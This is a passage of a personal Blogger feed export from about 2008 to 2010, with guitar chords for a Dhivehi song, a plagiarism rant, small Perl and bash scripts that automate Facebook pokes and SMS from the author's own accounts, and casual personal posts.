/&gt;part you play the regular barre chords. &lt;br /&gt;&lt;br /&gt;and so the song goes like so - Enjoy.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Am         F         G          Am&lt;br /&gt;raarukugaa ma ovvaa, aligulhaeh fenijjey&lt;br /&gt;Am         F         G            Am&lt;br /&gt;sissaigen gos athun, raabadhi dhoo vejjeyey&lt;br /&gt;Am         F         G          Am&lt;br /&gt;raarukugaa ma ovvaa, aligulhaeh fenijjey&lt;br /&gt;Am         F         G            Am&lt;br /&gt;sissaigen gos athun, raabadhi dhoo vejjeyey&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Am         F         G             Am   &lt;br /&gt;maa kairin fenilumun hithu vindhu avasviyeye&lt;br /&gt;Am         F           G              Am&lt;br /&gt;fai vaagi nethen feshy thuruthuru laa goehviyey&lt;br /&gt;G          Am&lt;br /&gt;heyverikan kudaviey&lt;br /&gt;&lt;br /&gt;Am           F     G             Am &lt;br /&gt;saharo ekaifiyeye, saharo maraifiyey&lt;br /&gt;eynaa eba aadheyey,saharo ekaifiyeye&lt;br /&gt;saharo ekaifiyeye, saharo maraifiyey&lt;br /&gt;eynaa eba aadheye, saharo ekaifiyeye&lt;br /&gt;&lt;br /&gt;irukolhakun kuda soreh roahen hama heeviyey&lt;br /&gt;muskulhi koru dhaithayeh hingamun eba aadheyey&lt;br /&gt;irukolhakun kuda soreh roahen hama heeviyey&lt;br /&gt;muskulhi koru dhaithayeh hingamun eba aadheyey&lt;br /&gt;&lt;br /&gt;raarukugaa ma ovvaa kalhieh eh laifiyey&lt;br /&gt;adakun asthaa nubai heyn eynaa fettiyey&lt;br /&gt;heyverikan kuda viyey&lt;br /&gt;&lt;br /&gt;saharo ekaifiyeye, saharo maraifiyey&lt;br /&gt;eynaa eba aadheyey, saharo ekaifiyeye&lt;br /&gt;saharo ekaifiyeye, saharo maraifiyey&lt;br /&gt;eynaa eba aadheyey, saharo ekaifiyeye&lt;br /&gt;&lt;br /&gt;##(I'm not sure about the chords they play here&lt;br /&gt;I just leave it out)##&lt;br /&gt;&lt;br /&gt;vai baaruve mulhi valah thoofaaneh aissiyey&lt;br /&gt;inzaaru maruge hithah dheyhen eba heeveyey&lt;br /&gt;vai baaruve mulhi valah thoofaaneh aissiyey&lt;br /&gt;inzaaru maruge hithah dheyhen eba heeveyey&lt;br /&gt;ruh dhoshugaa buru alhan kalhu bulhaleh fettieyey&lt;br /&gt;thin buru hamavythanaa nidhi varubalivejjyey&lt;br /&gt;&lt;br /&gt;saharo ekaifiyeye,saharo maraifiyey&lt;br /&gt;eynaa eba aadheyey, saharo ekaifiyeye&lt;br /&gt;saharo ekaifiyeye, saharo maraifiyey&lt;br /&gt;eynaa eba aadheyey, saharo ekaifiyeye&lt;br /&gt;saharo ekaifiyeye, saharo maraifiyey&lt;br /&gt;eynaa eba aadheyey, saharo ekaifiyeye&lt;br /&gt;saharo ekaifiyeye, saharo maraifiyey&lt;br /&gt;eynaa eba aadheyey, saharo ekaifiyeye&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-3689484972764042608?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/3689484972764042608/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2009/04/guitar-chords-raarukugaa-trio.html#comment-form' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/3689484972764042608'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/3689484972764042608'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2009/04/guitar-chords-raarukugaa-trio.html' title='Guitar Chords: Raarukugaa (Trio)'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-6692468695425032848</id><published>2009-04-03T01:53:00.002+08:00</published><updated>2010-07-25T18:07:35.222+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='rants'/><title type='text'>You thieving bastards!!!</title><content type='html'>A few days ago I noticed that some people have been "borrowing" my work without giving me due credit. Now normally I would not make a big deal out of such a thing. It's a free world, and there is no policing the interwebs. Everybody knows that, and anybody trying to fight it is... well stupid. That said, it's still a really ass-hole thing to do to so blatantly claim that a particular piece of code or guitar tab is your very own work when you didn't even bother to change any of it. You could've at least corrected the spelling mistakes that I'd made. I mean come on dude!!!...&lt;br/&gt;&lt;br/&gt;so this one's out to the guy who stole my shit... and is probably feeling good about it thinking he the man. Nice going sir. &lt;big&gt;&lt;b&gt;You suck!&lt;/b&gt;&lt;/big&gt; but I'm happy for you.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-6692468695425032848?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/6692468695425032848/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2009/04/you-thieving-bastards.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/6692468695425032848'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/6692468695425032848'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2009/04/you-thieving-bastards.html' title='You thieving bastards!!!'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-7084269350536985170</id><published>2009-03-23T01:34:00.003+08:00</published><updated>2010-07-18T04:29:07.936+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><category scheme='http://www.blogger.com/atom/ns#' term='facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='cURL'/><title type='text'>Let's get poking - (facebook poke with bash / perl)</title><content type='html'>facebook, bash, curl, poke..poking... that about covers it. This is neither elegant nor complete. Call it a "hack" if you will. Please keep in mind that facebook does not look favourably on browser side scripting so this is technically against their TOS. Having said that, unless you go all spammy on your friends, you should remain under the radar. As far as requests go, they'll think you're doing it manually..which is ok... (unless like I said you over do it..)&lt;br /&gt;&lt;br /&gt;copy code below to new file&lt;br /&gt;chmod it +x&lt;br /&gt;the script take three args - email,password and UID of the person you wanna poke.&lt;br /&gt;it will try to reuse any cookies left over from a previous session so if you have problems, delete the cookie file /tmp/email.fbcookie&lt;br /&gt;&lt;br /&gt;have fun. don't spam!&lt;br /&gt;&lt;br /&gt;&lt;big&gt;update&lt;/big&gt;&lt;br /&gt;This here is a new modified version running on Perl. working as of 26/03/2010&lt;br /&gt;&lt;pre class="brush:pl"&gt;#!/usr/bin/perl&lt;br /&gt;#---------------------------- #&lt;br /&gt;# facebook poke script        #&lt;br /&gt;# c2010 - KudaNai             #&lt;br /&gt;# http://kudanai.blogspot.com #&lt;br /&gt;# --------------------------- #&lt;br /&gt;# use with caution.you may    #&lt;br /&gt;# get banned for violation    #&lt;br /&gt;# of facebook ToS.            #&lt;br /&gt;# good luck.                  #&lt;br /&gt;# --------------------------- #&lt;br /&gt;use strict;&lt;br /&gt;use WWW::Mechanize;&lt;br /&gt;use HTTP::Cookies;&lt;br /&gt;&lt;br /&gt;my $username = 'yourusername'; #change these values.&lt;br /&gt;my $password = 'yourpassowrd';&lt;br /&gt;&lt;br /&gt;die "invalid number of arguments" unless (scalar @ARGV)==1;&lt;br /&gt;&lt;br /&gt;my $mech = WWW::Mechanize-&gt;new();$mech-&gt;cookie_jar(HTTP::Cookies-&gt;new());&lt;br /&gt;$mech-&gt;get("http://www.facebook.com/login.php");&lt;br /&gt;$mech-&gt;submit_form(&lt;br /&gt;form_number =&gt; 1,&lt;br /&gt;fields =&gt;&lt;br /&gt;{&lt;br /&gt;email=&gt;$username,&lt;br /&gt;pass=&gt;$password&lt;br /&gt;}&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;$mech-&gt;content() =~ /post_form_id\"\svalue=\"(\w+)\"/;&lt;br /&gt;&lt;br /&gt;foreach my $uid (@ARGV)&lt;br /&gt;{&lt;br /&gt;$mech-&gt;post("http://www.facebook.com/ajax/poke.php?__a=1",&lt;br /&gt;{&lt;br /&gt;uid=&gt;$uid,&lt;br /&gt;pokeback=&gt;"1",&lt;br /&gt;post_form_id=&gt;$1,&lt;br /&gt;post_form_id_source=&gt;"AsyncRequest"&lt;br /&gt;}&lt;br /&gt;);&lt;br /&gt;#print $mech-&gt;content();&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;and the old version for reference.&lt;br /&gt;&lt;br /&gt;&lt;pre class="prettyprint lang-bsh"&gt;#!/bin/bash&lt;br /&gt;&lt;br /&gt;email=$1&lt;br /&gt;pass=$2&lt;br /&gt;uid=$3&lt;br /&gt;&lt;br /&gt;cookie="/tmp/${email}.fbcookie"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;login()&lt;br /&gt;{&lt;br /&gt;echo "logging in..."&lt;br /&gt;curl -L --silent -A "MOZILLA/5.0" -b ${cookie} -c ${cookie} \&lt;br /&gt;-d "email=${email}" -d "pass=${pass}" -d "login=Log+In" \&lt;br /&gt;http://m.facebook.com/login.php &gt; /dev/null&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;poke()&lt;br /&gt;{&lt;br /&gt;gfid=`curl -L --silent -A "MOZILLA/5.0" -b ${cookie} -c ${cookie} \&lt;br /&gt;"http://m.facebook.com/profile.php?id=${uid}" | \&lt;br /&gt;awk '{FS="gfid=";RS="\"&gt;";if (NR!=1 &amp;&amp; $2!~/^$/) {print $2}}'`&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;curl --silent -G -A "MOZILLA/5.0" -b ${cookie} -c ${cookie} \&lt;br /&gt;-d "id=${uid}" -d "gfid=${gfid}" -d "poke=${uid}" -d "refid=17" \&lt;br /&gt;"http://m.facebook.com/a/profile.php" &gt; /dev/null&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if [ ! -e "${cookie}" ];then login;fi&lt;br /&gt;poke&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-7084269350536985170?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/7084269350536985170/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2009/03/lets-get-poking-facebook-poke-with-bash.html#comment-form' title='12 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/7084269350536985170'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/7084269350536985170'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2009/03/lets-get-poking-facebook-poke-with-bash.html' title='Let&apos;s get poking - (facebook poke with bash / perl)'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>12</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-445573284289833343</id><published>2009-03-06T03:45:00.004+08:00</published><updated>2009-06-29T15:06:36.622+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><category scheme='http://www.blogger.com/atom/ns#' term='facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='cURL'/><title type='text'>Automatic Birthday Wishes on Facebook</title><content type='html'>&lt;i&gt;&lt;b&gt;EDIT: 29/06/2009 - a new, better and more elegant version has been released. I encourage users to switch over to that one.&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;Announcement is &lt;a href="http://kudanai.blogspot.com/2009/06/automatic-birthday-wishes-on-facebook.html"&gt;HERE &lt;/a&gt;&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Well here we are again. Update time! :| &lt;br /&gt;&lt;br /&gt;A few months ago &lt;a href="http://kudanai.blogspot.com/2008/11/automate-birthday-wishes-on-facebook_6023.html"&gt;I put together a little script&lt;/a&gt; that would automatically write on the walls of any of your friends of Facebook (limited to privacy settings of said individuals of course). The script was/is largely based on the &lt;a href="http://www.facebook.com/apps/application.php?id=42463270450"&gt;Command line&lt;/a&gt; application by &lt;a href="http://www.cs.ubc.ca/%7Edavet/"&gt;Dave Tompkins. &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;as of the most recent update, my script is no longer compatible with the new version. So a few changes were in order. So here it is.&lt;br /&gt;&lt;br /&gt;unlike the previous version, you don't need to patch anything. Just a vanilla install of fbcmd + this script and that's it.&lt;br /&gt;&lt;br /&gt;download script from &lt;span style="font-size: large;"&gt;&lt;a href="http://kudanai.googlepages.com/bdaywish.zip"&gt;HERE &lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Installation:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;1.Download and install fbcmd, follow instructions from &lt;a href="http://www.facebook.com/apps/application.php?id=42463270450"&gt;HERE&lt;/a&gt;&lt;br /&gt;2.Download &lt;a href="http://kudanai.googlepages.com/bdaywish.zip"&gt;my script&lt;/a&gt;, and put it anywhere you want.&lt;br /&gt;3.Edit the email,password fields in the script: and locations of the fbcmd files&lt;br /&gt;4.Run it manually, or setup a cron job for it.&lt;/blockquote&gt;&lt;br /&gt;the setup should be fairly straightforward. Please note that the wall post procedure is not officially supported by facebook, and may break from time to time (because facebook may change their page structure). Please report any bugs ASAP and I'll will try to have them fixed as soon as I can.&lt;br /&gt;&lt;br /&gt;have fun!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-445573284289833343?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/445573284289833343/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2009/03/automatic-birthday-wishes-on-facebook.html#comment-form' title='20 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/445573284289833343'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/445573284289833343'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2009/03/automatic-birthday-wishes-on-facebook.html' title='Automatic Birthday Wishes on Facebook'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>20</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-3895141818043962214</id><published>2009-01-12T20:10:00.001+08:00</published><updated>2009-01-12T20:10:24.085+08:00</updated><title type='text'>well holidays...</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;pardon my lack on enthusiasm, the day hasn't exactly been the best of days.&lt;br/&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-3895141818043962214?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/3895141818043962214/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2009/01/well-holidays.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/3895141818043962214'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/3895141818043962214'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2009/01/well-holidays.html' title='well holidays...'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-3935852576499595510</id><published>2008-12-31T17:42:00.001+08:00</published><updated>2008-12-31T17:42:26.296+08:00</updated><title type='text'>Home...</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;is where you make it!&lt;br/&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-3935852576499595510?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/3935852576499595510/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2008/12/home.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/3935852576499595510'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/3935852576499595510'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2008/12/home.html' title='Home...'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-4081788754943136730</id><published>2008-12-10T23:46:00.003+08:00</published><updated>2008-12-11T00:05:41.911+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='misc'/><title type='text'>Tag-fest</title><content type='html'>This has been on my to-do list for a little while now, ever since &lt;a href="http://mydarkdominion.wordpress.com/"&gt;Mr.DarkDominion&lt;/a&gt; tagged me in &lt;a href="http://mydarkdominion.wordpress.com/2008/10/27/i-are-tagged/"&gt;THIS&lt;/a&gt; post... so it's been a while yea... So here it is. Sorry it took so long bro.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;1. What’s your latest addiction?&lt;/b&gt;&lt;br /&gt;genetic programming. I read about it on Hackaday, and now I can't seem to get my mind off it.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2. What are you listening to?&amp;nbsp;&lt;/b&gt;&lt;br /&gt;a cricket :) it's eerily silent at the moment.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;3. How late did u stay up last night and why?&lt;/b&gt;&lt;br /&gt;Usually I stay up till 3 in the morning but last night was an exception. I think 11 pm :|&lt;br /&gt;&lt;br /&gt;&lt;b&gt;4. Who were you with last friday night?&lt;/b&gt;&lt;br /&gt;Friday friday...forgetting my cousin's birthday...shit!!!! oh fuck...&lt;br /&gt;&lt;br /&gt;&lt;b&gt;5. Do you think you’ll be in a relationship 3 months from now?&lt;/b&gt;&lt;br /&gt;YES!!!!!!&lt;br /&gt;&lt;br /&gt;&lt;b&gt;6. When is the next time you’ll see your close friends?&lt;/b&gt;&lt;br /&gt;December 24th. You better be there at the airport nut.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;7. what were you doing this morning at 7AM?&lt;/b&gt;&lt;br /&gt;I was wacking my alarm clock for making that god-aweful noise&lt;br /&gt;&lt;br /&gt;&lt;b&gt;8. What radio station do u listen to the most? &lt;/b&gt;&lt;br /&gt;I don't do radio... :|&lt;br /&gt;&lt;br /&gt;&lt;b&gt;9. What was the reason you last cried?&lt;/b&gt;&lt;br /&gt;Hmm...that's a tough one. I'm not sure if talking about that here is such a good idea.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;10. Have you ever talked to someone when they were high?&lt;/b&gt;&lt;br /&gt;Yup. talked, yelled at slept with you name it.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;11. What’s the fifth text in your inbox say?&lt;/b&gt;&lt;br /&gt;"Tomorrow is mr.suresh's (a.k.a mama) birthday so don't forget to wish - benju"&lt;br /&gt;&lt;br /&gt;&lt;b&gt;12. Where was the last coffee shop you went to?&lt;/b&gt;&lt;br /&gt;Cafe' Coffee day :|&lt;br /&gt;&lt;br /&gt;&lt;b&gt;13. What’s your outfit right now?&lt;/b&gt;&lt;br /&gt;black pants, brown t-shirt.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;14. What were you doing at 11pm last night?&lt;/b&gt;&lt;br /&gt;sleeping dude sleeping.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;15. Who was the last person you talked to last night before bed? &lt;/b&gt;&lt;br /&gt;Talked to.. well if you consider issuing some commands to your computer "talking" then I suppose that would be my laptop. But in human terms that would be my room-mate. The bastard said he'd wake up in the morning to study. (but he didn't)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;16. Will you be driving in a year?&lt;/b&gt;&lt;br /&gt;Hopefully something bigger than what I'm driving now.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;17. Is there anything that you are craving for right now? &lt;/b&gt;&lt;br /&gt;a good movie!&lt;br /&gt;&lt;br /&gt;&lt;b&gt;18. When did your last hug take place? &lt;/b&gt;&lt;br /&gt;not too long ago.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;19. Have you ever started a sentence with “No offense, but…”?&lt;/b&gt;&lt;br /&gt;Nah I always say something offensive and say "no offense" afterwards.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;20. Do you drink tea?&lt;/b&gt;&lt;br /&gt;Yea, I don't really like Coffee.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;21. Have you ever been arrested? &lt;/b&gt;&lt;br /&gt;ehehe ehehe...no.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;22. Have you rode in someone else’s car today?&lt;/b&gt;&lt;br /&gt;No&lt;br /&gt;&lt;br /&gt;&lt;b&gt;23. Have you made a mistake this past week?&lt;/b&gt;&lt;br /&gt;Oh I've made plenty.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;24. Who was the last person you texted?&lt;/b&gt;&lt;br /&gt;My uh ..finance' :p&lt;br /&gt;&lt;br /&gt;&lt;b&gt;25. Are you happy with your life right now? &lt;/b&gt;&lt;br /&gt;mostly yes, and then there are the days when I want to commit suicide..or homicide. the latter being the more common.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;26. In the past 72 hrs have you been under the influence of sleep? &lt;/b&gt;&lt;br /&gt;yea it's been a good day&lt;br /&gt;&lt;br /&gt;&lt;b&gt;27. What’s the connection between you and the last person you texted?&lt;/b&gt;&lt;br /&gt;We're dating..and yea we're doing it :P&lt;br /&gt;&lt;br /&gt;Yea so the tagging goes out to &lt;a href="http://tholath.wordpress.com/"&gt;tholath&lt;/a&gt; and &lt;a href="http://keyolhubey.blogspot.com/"&gt;keyolhubey &lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-4081788754943136730?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/4081788754943136730/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2008/12/tag-fest.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/4081788754943136730'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/4081788754943136730'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2008/12/tag-fest.html' title='Tag-fest'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-7506730657551420598</id><published>2008-12-06T23:11:00.003+08:00</published><updated>2008-12-07T14:17:31.704+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='misc'/><title type='text'>Kapoing!!!!</title><content type='html'>Testing out mobile blogging software. This is just a test.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;a href="http://lh4.ggpht.com/_bwme_BmmviI/STqWHVNE5vI/AAAAAAAAAOU/l8n-wbftLGc/s512/iphone_photo.jpg" rel="lightbox"&gt;&lt;img border="0" height="281" src="http://lh4.ggpht.com/_bwme_BmmviI/STqWHVNE5vI/AAAAAAAAAOU/l8n-wbftLGc/s288/iphone_photo.jpg" style="margin: 5px;" width="210" /&gt;&lt;/a&gt;&lt;/center&gt;&lt;br /&gt;And yes this kind of shit does happen to me quite a lot these days. Worthless peice of junk!!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-7506730657551420598?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/7506730657551420598/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2008/12/kapoing.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/7506730657551420598'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/7506730657551420598'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2008/12/kapoing.html' title='Kapoing!!!!'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_bwme_BmmviI/STqWHVNE5vI/AAAAAAAAAOU/l8n-wbftLGc/s72-c/iphone_photo.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-3983603907860791131</id><published>2008-11-25T18:52:00.002+08:00</published><updated>2010-08-05T15:37:36.674+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><category scheme='http://www.blogger.com/atom/ns#' term='websms'/><category scheme='http://www.blogger.com/atom/ns#' term='cURL'/><title type='text'>Bash Script: Dhiraagu WebSMS</title><content type='html'>I've been noticing a lot of problems with Dhiraagu's WebSMS site, mostly that annoying "Session Expired" Errors. So I decided it was time for a major overhaul of my websms script. So here it is. enjoy! Don't forget to comment, and send bug-reports, suggestions, hate-mail etc.&lt;br /&gt;&lt;br /&gt;first, a change-log&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;REV 0 : Initial Release&lt;br /&gt;&lt;br /&gt;REV 1 :&lt;br /&gt;+ Verbosity&lt;br /&gt;+ Checking message length&lt;br /&gt;* Cleaned up regex&lt;br /&gt;&lt;br /&gt;REV 2 :&lt;br /&gt;+ Directory (alias)&lt;br /&gt;+ Error checking numbers&lt;br /&gt;&lt;br /&gt;Ver 2.0:&lt;br /&gt;25-Nov-2008&lt;br /&gt;Major overhaul, re-written from scratch&lt;br /&gt;&lt;br /&gt;* Moved directory out of script to external file&lt;br /&gt;* Moved cookie to /tmp (changeable)&lt;br /&gt;+ Added argument processing&lt;br /&gt;* NUMBER must now be given as an argument to -n option&lt;br /&gt;+ Added option to silence output&lt;br /&gt;+ Added option to display help&lt;br /&gt;+ Added option to override default user and pass&lt;br /&gt;+ Added option to override default directory&lt;br /&gt;* Will detect old cookie-and try to re-use instead of logging in every-time.&lt;br /&gt;+ Error checking of username and password&lt;br /&gt;+ Handles "Session expired" error to an extent.It will keep re-trying until success&lt;br /&gt;&lt;br /&gt;* Some more small changes that I can't remember&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Installation is pretty standard. It uses cURL to do the heavy lifting so you'll need that. The directory file now defaults to ~/.wsmsdir. This is a comma seperated text file with name-number pairs&lt;br /&gt;&lt;br /&gt;eg:&lt;br /&gt;&lt;blockquote&gt;hotchick1,123943&lt;br /&gt;hotchick2,123432&lt;br /&gt;daddy,12432&lt;br /&gt;wife,1498052&lt;/blockquote&gt;Change the default values for user and pass. Although this is not required anymore because you can give username and password info to the script using the -u and -p options now. It is not recommended if you share you computer with snoopy people. The script will leave a cookie file in 